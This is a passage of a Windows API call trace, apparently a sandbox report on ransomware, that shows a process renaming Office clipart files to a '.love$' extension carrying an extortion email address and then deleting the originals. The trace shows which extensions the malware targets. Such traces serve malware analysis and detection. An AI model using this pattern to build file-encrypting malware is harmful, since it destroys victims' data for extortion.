[0235.102] lstrlenW (lpString=".zip") returned 4 [0235.102] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.102] lstrlenW (lpString=".rar") returned 4 [0235.103] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.103] lstrlenW (lpString=".bz2") returned 4 [0235.103] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.103] lstrlenW (lpString=".7z") returned 3 [0235.103] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0235.103] lstrlenW (lpString=".dbf") returned 4 [0235.103] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0235.103] lstrlenW (lpString=".1cd") returned 4 [0235.103] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0235.103] lstrlenW (lpString=".jpg") returned 4 [0235.103] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.103] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0235.103] lstrlenW (lpString="BL00921_.WMF") returned 12 [0235.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c [0235.104] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=4408) returned 1 [0235.104] CloseHandle (hObject=0x48c) returned 1 [0235.104] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf")) returned 0x220 [0235.104] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0235.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c [0235.105] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.105] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0235.106] GetLastError () returned 0x0 [0235.106] ReadFile (in: hFile=0x48c, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x1138, lpOverlapped=0x0) returned 1 [0235.121] WriteFile (in: hFile=0x46c, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x1140, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x1140, lpOverlapped=0x0) returned 1 [0235.122] ReadFile (in: hFile=0x48c, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0235.123] WriteFile (in: hFile=0x46c, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0235.123] SetEndOfFile (hFile=0x46c) returned 1 [0235.123] CloseHandle (hObject=0x46c) returned 1 [0235.123] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.123] SetEndOfFile (hFile=0x48c) returned 1 [0235.129] CloseHandle (hObject=0x48c) returned 1 [0235.129] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0235.132] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00921_.wmf")) returned 1 [0235.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0235.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0235.133] lstrlenW (lpString=".doc") returned 4 [0235.133] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.133] lstrlenW (lpString=".docx") returned 5 [0235.134] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0235.134] lstrlenW (lpString=".pdf") returned 4 [0235.134] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.134] lstrlenW (lpString=".xls") returned 4 [0235.134] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.134] lstrlenW (lpString=".xlsx") returned 5 [0235.134] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0235.134] lstrlenW (lpString=".ppt") returned 4 [0235.134] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0235.134] lstrlenW (lpString=".zip") returned 4 [0235.134] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.134] lstrlenW (lpString=".rar") returned 4 [0235.134] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.134] lstrlenW (lpString=".bz2") returned 4 [0235.134] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.134] lstrlenW (lpString=".7z") returned 3 [0235.134] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0235.134] lstrlenW (lpString=".dbf") returned 4 [0235.134] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0235.134] lstrlenW (lpString=".1cd") returned 4 [0235.134] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0235.134] lstrlenW (lpString=".jpg") returned 4 [0235.134] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0235.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0235.135] lstrlenW (lpString=".doc") returned 4 [0235.135] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.135] lstrlenW (lpString=".docx") returned 5 [0235.135] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0235.135] lstrlenW (lpString=".pdf") returned 4 [0235.135] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.135] lstrlenW (lpString=".xls") returned 4 [0235.135] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.135] lstrlenW (lpString=".xlsx") returned 5 [0235.135] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0235.135] lstrlenW (lpString=".ppt") returned 4 [0235.135] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0235.135] lstrlenW (lpString=".zip") returned 4 [0235.135] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.135] lstrlenW (lpString=".rar") returned 4 [0235.135] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.135] lstrlenW (lpString=".bz2") returned 4 [0235.135] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.135] lstrlenW (lpString=".7z") returned 3 [0235.135] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0235.135] lstrlenW (lpString=".dbf") returned 4 [0235.135] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0235.135] lstrlenW (lpString=".1cd") returned 4 [0235.135] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 68 [0235.135] lstrlenW (lpString=".jpg") returned 4 [0235.136] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.136] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0235.136] lstrlenW (lpString="BL00932_.WMF") returned 12 [0235.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c [0235.137] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=19476) returned 1 [0235.137] CloseHandle (hObject=0x48c) returned 1 [0235.137] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf")) returned 0x220 [0235.137] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0235.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c [0235.137] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.138] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0235.139] GetLastError () returned 0x0 [0235.139] ReadFile (in: hFile=0x48c, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x4c14, lpOverlapped=0x0) returned 1 [0235.141] WriteFile (in: hFile=0x4c4, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x4c20, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x4c20, lpOverlapped=0x0) returned 1 [0235.143] ReadFile (in: hFile=0x48c, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0235.143] WriteFile (in: hFile=0x4c4, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0235.143] SetEndOfFile (hFile=0x4c4) returned 1 [0235.144] CloseHandle (hObject=0x4c4) returned 1 [0235.144] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.144] SetEndOfFile (hFile=0x48c) returned 1 [0235.147] CloseHandle (hObject=0x48c) returned 1 [0235.147] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0235.148] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00932_.wmf")) returned 1 [0235.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0235.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0235.149] lstrlenW (lpString=".doc") returned 4 [0235.149] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.149] lstrlenW (lpString=".docx") returned 5 [0235.149] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0235.149] lstrlenW (lpString=".pdf") returned 4 [0235.149] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.149] lstrlenW (lpString=".xls") returned 4 [0235.149] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.149] lstrlenW (lpString=".xlsx") returned 5 [0235.149] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0235.149] lstrlenW (lpString=".ppt") returned 4 [0235.149] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0235.149] lstrlenW (lpString=".zip") returned 4 [0235.149] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.149] lstrlenW (lpString=".rar") returned 4 [0235.149] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.149] lstrlenW (lpString=".bz2") returned 4 [0235.149] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.149] lstrlenW (lpString=".7z") returned 3 [0235.149] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0235.149] lstrlenW (lpString=".dbf") returned 4 [0235.150] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0235.150] lstrlenW (lpString=".1cd") returned 4 [0235.150] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0235.150] lstrlenW (lpString=".jpg") returned 4 [0235.150] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0235.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0235.150] lstrlenW (lpString=".doc") returned 4 [0235.150] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.150] lstrlenW (lpString=".docx") returned 5 [0235.150] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0235.150] lstrlenW (lpString=".pdf") returned 4 [0235.150] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.150] lstrlenW (lpString=".xls") returned 4 [0235.150] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.150] lstrlenW (lpString=".xlsx") returned 5 [0235.150] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0235.150] lstrlenW (lpString=".ppt") returned 4 [0235.150] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0235.150] lstrlenW (lpString=".zip") returned 4 [0235.150] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.150] lstrlenW (lpString=".rar") returned 4 [0235.150] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.150] lstrlenW (lpString=".bz2") returned 4 [0235.150] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.150] lstrlenW (lpString=".7z") returned 3 [0235.151] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0235.151] lstrlenW (lpString=".dbf") returned 4 [0235.151] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0235.151] lstrlenW (lpString=".1cd") returned 4 [0235.151] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00932_.WMF") returned 68 [0235.151] lstrlenW (lpString=".jpg") returned 4 [0235.151] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.151] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0235.151] lstrlenW (lpString="BL00985_.WMF") returned 12 [0235.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c [0235.152] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=3768) returned 1 [0235.152] CloseHandle (hObject=0x48c) returned 1 [0235.152] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf")) returned 0x220 [0235.152] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0235.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c [0235.153] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.153] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0235.154] GetLastError () returned 0x0 [0235.154] ReadFile (in: hFile=0x48c, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0xeb8, lpOverlapped=0x0) returned 1 [0235.703] WriteFile (in: hFile=0x4c4, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec0, lpOverlapped=0x0) returned 1 [0235.705] ReadFile (in: hFile=0x48c, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0235.705] WriteFile (in: hFile=0x4c4, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0235.705] SetEndOfFile (hFile=0x4c4) returned 1 [0235.959] CloseHandle (hObject=0x4c4) returned 1 [0235.959] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.959] SetEndOfFile (hFile=0x48c) returned 1 [0235.965] CloseHandle (hObject=0x48c) returned 1 [0235.965] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0235.966] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00985_.wmf")) returned 1 [0235.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0235.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0235.967] lstrlenW (lpString=".doc") returned 4 [0235.967] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.967] lstrlenW (lpString=".docx") returned 5 [0235.967] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0235.967] lstrlenW (lpString=".pdf") returned 4 [0235.967] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.967] lstrlenW (lpString=".xls") returned 4 [0235.968] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.968] lstrlenW (lpString=".xlsx") returned 5 [0235.968] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0235.968] lstrlenW (lpString=".ppt") returned 4 [0235.968] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0235.968] lstrlenW (lpString=".zip") returned 4 [0235.968] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.968] lstrlenW (lpString=".rar") returned 4 [0235.968] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.968] lstrlenW (lpString=".bz2") returned 4 [0235.968] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.968] lstrlenW (lpString=".7z") returned 3 [0235.968] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0235.968] lstrlenW (lpString=".dbf") returned 4 [0235.968] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0235.968] lstrlenW (lpString=".1cd") returned 4 [0235.968] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0235.968] lstrlenW (lpString=".jpg") returned 4 [0235.968] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0235.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0235.968] lstrlenW (lpString=".doc") returned 4 [0235.969] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.969] lstrlenW (lpString=".docx") returned 5 [0235.969] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0235.969] lstrlenW (lpString=".pdf") returned 4 [0235.969] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.969] lstrlenW (lpString=".xls") returned 4 [0235.969] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.969] lstrlenW (lpString=".xlsx") returned 5 [0235.969] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0235.969] lstrlenW (lpString=".ppt") returned 4 [0235.969] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00985_.WMF") returned 68 [0235.969] lstrlenW (lpString=".zip") returned 4 [0235.969] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.969] lstrlenW (lpString=".rar") returned 4 [0235.969] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.969] lstrlenW (lpString=".bz2") returned 4 [0235.969] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.969] lstrlenW (lpString=".7z") returned 3 [0235.969] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.969] lstrlenW (lpString="C:\\Program Files\\Microsoft 